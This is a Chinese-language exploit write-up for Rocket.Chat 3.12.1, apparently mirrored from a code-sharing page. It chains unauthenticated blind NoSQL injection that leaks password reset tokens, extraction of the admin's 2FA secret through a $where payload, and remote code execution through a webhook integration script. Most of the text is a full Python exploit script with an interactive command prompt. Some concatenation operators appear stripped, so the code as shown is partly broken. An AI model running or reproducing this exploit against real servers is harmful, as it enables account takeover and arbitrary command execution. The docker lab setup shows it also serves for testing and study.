预认证盲 NoSQL 注入导致 Rocket Chat 3.12.1 中的远程代码执行
- getPasswordPolicy 方法容易受到 NoSQL 注入攻击,并且不需要身份验证/授权。它可用于通过泄露密码重置令牌来接管帐户。接管管理员帐户会导致远程代码执行
- 劫持用户的帐户(未经身份验证)
- 在密码重置令牌参数的getPasswordPolicy端点中有 NoSQL 注入,它采用 json 对象,允许我们使用$regex运算符。我们使用它来执行盲 nosql 注入以获取重置令牌。
- 权限提升到管理员(已认证)
- 所以admin用户最有可能受到2fa的保护。因此,即使我们通过 (1) 更改管理员的密码,它也会在登录时提示输入 2fa 代码。
- users.list api 端点采用容易受到 nosql 注入的查询参数。我们还可以通过抛出错误来检索数据。
- 我们运行以下查询来获取管理员的 2fa 秘密:
{"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
- 接下来我们只需执行 (1) 来重置管理员的密码并使用 2fa 密码生成我们可以用来登录的代码。
- RCE(认证 - 管理员)
- Rocket.Chat 有一个叫做集成的功能,它允许创建传入和传出的网络钩子。这些 Web 钩子可以具有与其关联的脚本,这些脚本在触发 Web 钩子时执行。
- 我们使用以下脚本创建集成:
代码语言:javascript复制const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
代码语言:javascript复制
- 接下来我们只需触发 webhook 来获取 rce
用法
- 您将需要一个没有 2fa 设置的低权限用户的电子邮件
- 您还需要知道管理员电子邮件
代码语言:javascript复制python3exploit.py -u " user@rocket.local " -a " admin@rocket.local " -t " http://rocket.local "
代码语言:javascript复制
- 在 Rocket Chat 3.12.1 上测试
- 使用 docker 构建您自己的测试环境:
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
代码语言:javascript复制
代码语言:javascript复制#!/usr/bin/python
import requests
import string
import time
import hashlib
import json
import oathtool
import argparse
parser = argparse.ArgumentParser(description='RocketChat 3.12.1 RCE')
parser.add_argument('-u', help='Low priv user email [ No 2fa ]', required=True)
parser.add_argument('-a', help='Administrator email', required=True)
parser.add_argument('-t', help='URL (Eg: http://rocketchat.local)', required=True)
args = parser.parse_args()
adminmail = args.a
lowprivmail = args.u
target = args.t
def forgotpassword(email,url):
payload='{"message":"{\"msg\":\"method\",\"method\":\"sendForgotPasswordEmail\",\"params\":[\"' email '\"]}"}'
headers={'content-type': 'application/json'}
r = requests.post(url "/api/v1/method.callAnon/sendForgotPasswordEmail", data = payload, headers = headers, verify = False, allow_redirects = False)
print("[ ] Password Reset Email Sent")
def resettoken(url):
u = url "/api/v1/method.callAnon/getPasswordPolicy"
headers={'content-type': 'application/json'}
token = ""
num = list(range(0,10))
string_ints = [str(int) for int in num]
characters = list(string.ascii_uppercase string.ascii_lowercase) list('-') list('_') string_ints
while len(token)!= 43:
for c in characters:
payload='{"message":"{\"msg\":\"method\",\"method\":\"getPasswordPolicy\",\"params\":[{\"token\":{\"$regex\":\"^%s\"}}]}"}' % (token c)
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
time.sleep(0.5)
if 'Meteor.Error' not in r.text:
token = c
print(f"Got: {token}")
print(f"[ ] Got token : {token}")
return token
def changingpassword(url,token):
payload = '{"message":"{\"msg\":\"method\",\"method\":\"resetPassword\",\"params\":[\"' token '\",\"P@$$w0rd!1234\"]}"}'
headers={'content-type': 'application/json'}
r = requests.post(url "/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
if "error" in r.text:
exit("[-] Wrong token")
print("[ ] Password was changed !")
def twofactor(url,email):
# Authenticating
sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
payload ='{"message":"{\"msg\":\"method\",\"method\":\"login\",\"params\":[{\"user\":{\"email\":\"' email '\"},\"password\":{\"digest\":\"' sha256pass '\",\"algorithm\":\"sha-256\"}}]}"}'
headers={'content-type': 'application/json'}
r = requests.post(url "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
if "error" in r.text:
exit("[-] Couldn't authenticate")
data = json.loads(r.text)
data =(data['message'])
userid = data[32:49]
token = data[60:103]
print(f"[ ] Succesfully authenticated as {email}")
# Getting 2fa code
cookies = {'rc_uid': userid,'rc_token': token}
headers={'X-User-Id': userid,'X-Auth-Token': token}
payload = '/api/v1/users.list?query={"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}'
r = requests.get(url payload,cookies=cookies,headers=headers)
code = r.text[46:98]
print(f"Got the code for 2fa: {code}")
return code
def changingadminpassword(url,token,code):
payload = '{"message":"{\"msg\":\"method\",\"method\":\"resetPassword\",\"params\":[\"' token '\",\"P@$$w0rd!1234\",{\"twoFactorCode\":\"' code '\",\"twoFactorMethod\":\"totp\"}]}"}'
headers={'content-type': 'application/json'}
r = requests.post(url "/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
if "403" in r.text:
exit("[-] Wrong token")
print("[ ] Admin password changed !")
def rce(url,code,cmd):
# Authenticating
sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
headers={'content-type': 'application/json'}
payload = '{"message":"{\"msg\":\"method\",\"method\":\"login\",\"params\":[{\"totp\":{\"login\":{\"user\":{\"username\":\"admin\"},\"password\":{\"digest\":\"' sha256pass '\",\"algorithm\":\"sha-256\"}},\"code\":\"' code '\"}}]}"}'
r = requests.post(url "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
if "error" in r.text:
exit("[-] Couldn't authenticate")
data = json.loads(r.text)
data =(data['message'])
userid = data[32:49]
token = data[60:103]
print("[ ] Succesfully authenticated as administrator")
# Creating Integration
payload = '{"enabled":true,"channel":"#general","username":"admin","name":"rce","alias":"","avatarUrl":"","emoji":"","scriptEnabled":true,"script":"const require = console.log.constructor('return process.mainModule.require')();\nconst { exec } = require('child_process');\nexec('' cmd '');","type":"webhook-incoming"}'
cookies = {'rc_uid': userid,'rc_token': token}
headers = {'X-User-Id': userid,'X-Auth-Token': token}
r = requests.post(url '/api/v1/integrations.create',cookies=cookies,headers=headers,data=payload)
data = r.text
data = data.split(',')
token = data[12]
token = token[9:57]
_id = data[18]
_id = _id[7:24]
# Triggering RCE
u = url '/hooks/' _id '/' token
r = requests.get(u)
print(r.text)
############################################################
# Getting Low Priv user
print(f"[ ] Resetting {lowprivmail} password")
## Sending Reset Mail
forgotpassword(lowprivmail,target)
## Getting reset token
token = resettoken(target)
## Changing Password
changingpassword(target,token)
# Privilege Escalation to admin
## Getting secret for 2fa
secret = twofactor(target,lowprivmail)
## Sending Reset mail
print(f"[ ] Resetting {adminmail} password")
forgotpassword(adminmail,target)
## Getting reset token
token = resettoken(target)
## Resetting Password
code = oathtool.generate_otp(secret)
changingadminpassword(target,token,code)
## Authenticting and triggering rce
while True:
cmd = input("CMD:> ")
code = oathtool.generate_otp(secret)
rce(target,code,cmd)